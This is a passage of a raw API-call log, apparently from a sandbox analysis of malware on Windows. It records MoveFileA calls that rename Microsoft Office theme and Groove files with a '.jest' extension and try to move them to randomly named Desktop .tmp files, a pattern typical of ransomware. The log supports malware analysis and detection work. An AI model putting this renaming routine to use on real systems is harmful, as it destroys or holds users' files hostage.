0x0 [0168.220] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KRsPbk4Dt-u4DTxTUUV3QoAy_OQVgciYZUGMl8GBEHXLW_250xYCxGR8O9fZ0OHyO7dcXlmU ws49W8vblFQhI1IT ckEMGVjK7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\krspbk4dt-u4dtxtuuv3qoay_oqvgciyzugml8gbehxlw_250xycxgr8o9fz0ohyo7dcxlmu ws49w8vblfqhi1it ckemgvjk7.tmp")) returned 0 [0168.220] GetLastError () returned 0x2 [0168.220] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Џ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.221] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.jest")) returned 1 [0168.223] VarBstrFromR4 (in: fltIn=0x479458e4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.78") returned 0x0 [0168.224] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t4r55A6Lf6que_cEGLHeH_v9z_ldOTGue0-tNDzjqwrsff3QcTuPRyGu6NmdSdwD1budn8EJ T4Koht7MBTaEUMSJzCjaWo2l0Gi_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t4r55a6lf6que_ceglheh_v9z_ldotgue0-tndzjqwrsff3qctuprygu6nmdsdwd1budn8ej t4koht7mbtaeumsjzcjawo2l0gi_.tmp")) returned 0 [0168.224] GetLastError () returned 0x2 [0168.225] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ϟ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.225] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.jest")) returned 1 [0168.227] VarBstrFromR4 (in: fltIn=0x479458e6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.8") returned 0x0 [0168.228] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VfMeV41cMhThXq3f4gHCN6_EpZZG8jP7DPJLii4_howi-zpdpZgfSRBjFEY_VcR Usst58pdfrCAwCZUQIvoRT3-Cjp 49UP_65Jq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vfmev41cmhthxq3f4ghcn6_epzzg8jp7dpjlii4_howi-zpdpzgfsrbjfey_vcr usst58pdfrcawczuqivort3-cjp 49up_65jq.tmp")) returned 0 [0168.229] GetLastError () returned 0x2 [0168.229] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ц\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.231] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.jest")) returned 1 [0168.233] VarBstrFromR4 (in: fltIn=0x479458e6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.8") returned 0x0 [0168.234] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gUvI6QF1OOlzeR0fQbYJV7t fOOV5S zkIkrDfTg00BrD1hfoYvPZrZqoXlGZSAXwBPCIISwGu yKmksuJ5dR s0IVB3epgSwSKE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\guvi6qf1oolzer0fqbyjv7t foov5s zkikrdftg00brd1hfoyvpzrzqoxlgzsaxwbpciiswgu ykmksuj5dr s0ivb3epgswske.tmp")) returned 0 [0168.234] GetLastError () returned 0x2 [0168.234] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ӗ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.235] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.jest")) returned 1 [0168.237] VarBstrFromR4 (in: fltIn=0x479458e6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.8") returned 0x0 [0168.238] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\USVpaF414Wmle6b1CaeB8BVy0oqIEVYWfhWRqF8cgHI9Ja9iDHir5FDmqEuzdFZQE- CVQYD1-QpNZLxzvczWAaZcKWcHfGyT5Aeg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\usvpaf414wmle6b1caeb8bvy0oqievywfhwrqf8cghi9ja9idhir5fdmqeuzdfzqe- cvqyd1-qpnzlxzvczwaazckwchfgyt5aeg.tmp")) returned 0 [0168.238] GetLastError () returned 0x2 [0168.239] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ϥ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.240] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.jest")) returned 1 [0168.243] VarBstrFromR4 (in: fltIn=0x479458e8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.81") returned 0x0 [0168.244] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L_V_ZStKYgYSgSNQNFCfaiWubDQEBCzJwVbdlbrDgTxhvt5k1kLwCkixgNTTcOhUFbstmbXAbldrl TD_oHtTcabY2biWzUFtgx6q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l_v_zstkygysgsnqnfcfaiwubdqebczjwvbdlbrdgtxhvt5k1klwckixgnttcohufbstmbxabldrl td_ohttcaby2biwzuftgx6q.tmp")) returned 0 [0168.244] GetLastError () returned 0x2 [0168.244] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ԗ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.245] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.jest")) returned 1 [0168.247] VarBstrFromR4 (in: fltIn=0x479458e8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.81") returned 0x0 [0168.248] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mZlsfBKNq5lL3Y4viQ27b-7snOcwdhkO-52ynomJIDhkvi9UWvScyQ8GJGmB43tFvDMPVSz8rPoYPjYR_hZ_Y_lBZxJjcuOt6 Kt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mzlsfbknq5ll3y4viq27b-7snocwdhko-52ynomjidhkvi9uwvscyq8gjgmb43tfvdmpvsz8rpoypjyr_hz_y_lbzxjjcuot6 kt.tmp")) returned 0 [0168.248] GetLastError () returned 0x2 [0168.249] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ϧ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.250] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.jest")) returned 1 [0168.252] VarBstrFromR4 (in: fltIn=0x479458e8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.81") returned 0x0 [0168.253] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OHV ekN3-7xJDUJb6AIAIOzCyQE f-ehGB8 lu6EpyCX9EsRuinD8bAJCWXGsqOzuS3iWEAK6eRxgB fXKntwgKvd8z-K6P40YO4u.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ohv ekn3-7xjdujb6aiaiozcyqe f-ehgb8 lu6epycx9esruind8bajcwxgsqozus3iweak6erxgb fxkntwgkvd8z-k6p40yo4u.tmp")) returned 0 [0168.253] GetLastError () returned 0x2 [0168.254] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.254] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg.jest")) returned 1 [0168.257] VarBstrFromR4 (in: fltIn=0x479458ea, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.83") returned 0x0 [0168.258] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dYgseDG-Io1t6IifmZ88CM3yLuYNKy lec8s-wmaq6Bxj4GPtj9M9ibpglVjZktUUzeu_QdDKVyqe99-m_3cJLlIpApozlyqKEY2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dygsedg-io1t6iifmz88cm3yluynky lec8s-wmaq6bxj4gptj9m9ibpglvjzktuuzeu_qddkvyqe99-m_3cjllipapozlyqkey2.tmp")) returned 0 [0168.258] GetLastError () returned 0x2 [0168.261] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.262] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg.jest")) returned 1 [0168.264] VarBstrFromR4 (in: fltIn=0x479458ea, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.83") returned 0x0 [0168.265] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Uq0s6zW5CZLDz3nAmPVpJni1mzOeWDtWBuCi8VDDTd5bp6fsIygN5wGffazCJ9NR0ELs6c8oZPrXBO9I7UZFqnaFDDGg cm9dTtq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uq0s6zw5czldz3nampvpjni1mzoewdtwbuci8vddtd5bp6fsiygn5wgffazcj9nr0els6c8ozprxbo9i7uzfqnafddgg cm9dttq.tmp")) returned 0 [0168.265] GetLastError () returned 0x2 [0168.266] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.266] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg.jest")) returned 1 [0168.268] VarBstrFromR4 (in: fltIn=0x479458ea, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.83") returned 0x0 [0168.269] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\39Z53dHE_QJQrb PbyGFcVCwKlOegd3cUX_j80T-uc7wio8lUBmWFHBd6ol23wY7w7 8pSSG9RqbxdNYLWTSleI kwpwScRHyMGw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\39z53dhe_qjqrb pbygfcvcwkloegd3cux_j80t-uc7wio8lubmwfhbd6ol23wy7w7 8pssg9rqbxdnylwtslei kwpwscrhymgw.tmp")) returned 0 [0168.269] GetLastError () returned 0x2 [0168.270] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.270] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg.jest")) returned 1 [0168.273] VarBstrFromR4 (in: fltIn=0x479458ec, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.84") returned 0x0 [0168.274] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PsVk08XmDdU--hWz7ZeVZ9rKxfkKS19ucvIEV9TX5a7ZY9-vxxXyTuELWNP1nDCJQXgm4-5 pxEDWjl7phRUh mvmbCuDzxQVKqQ3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\psvk08xmddu--hwz7zevz9rkxfkks19ucviev9tx5a7zy9-vxxxytuelwnp1ndcjqxgm4-5 pxedwjl7phruh mvmbcudzxqvkqq3.tmp")) returned 0 [0168.274] GetLastError () returned 0x2 [0168.275] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ժ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.276] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ծ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.277] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.277] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\VelvetRose.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\velvetrose.css.jest")) returned 1 [0168.279] VarBstrFromR4 (in: fltIn=0x479458ec, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.84") returned 0x0 [0168.280] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XtGW6HXOhAJTXhu4xnGBMdNh6GSL7p0E8lP7PCbTmTdjcuxEgn6ZDCFDDnSOl Ox8-npjeMmbCBkqXnoRGwKcDdI0v6ALUtobRXQt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xtgw6hxohajtxhu4xngbmdnh6gsl7p0e8lp7pcbtmtdjcuxegn6zdcfddnsol ox8-npjemmbcbkqxnorgwkcddi0v6alutobrxqt.tmp")) returned 0 [0168.281] GetLastError () returned 0x2 [0168.281] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.281] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\velvetrose.css.jest")) returned 1 [0168.283] VarBstrFromR4 (in: fltIn=0x479458ec, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.84") returned 0x0 [0168.284] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C-kFq6YL-ac4XdutcVx26H9czPV0vbS56cF2yXqAdB2M0 -C5CG4QxDksIevgoIK2weFpW4KunKkPb7Wjvz5hHU_q- I8mTcCVf6C.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c-kfq6yl-ac4xdutcvx26h9czpv0vbs56cf2yxqadb2m0 -c5cg4qxdksievgoik2wefpw4kunkkpb7wjvz5hhu_q- i8mtccvf6c.tmp")) returned 0 [0168.284] GetLastError () returned 0x2 [0168.284] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="մ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, 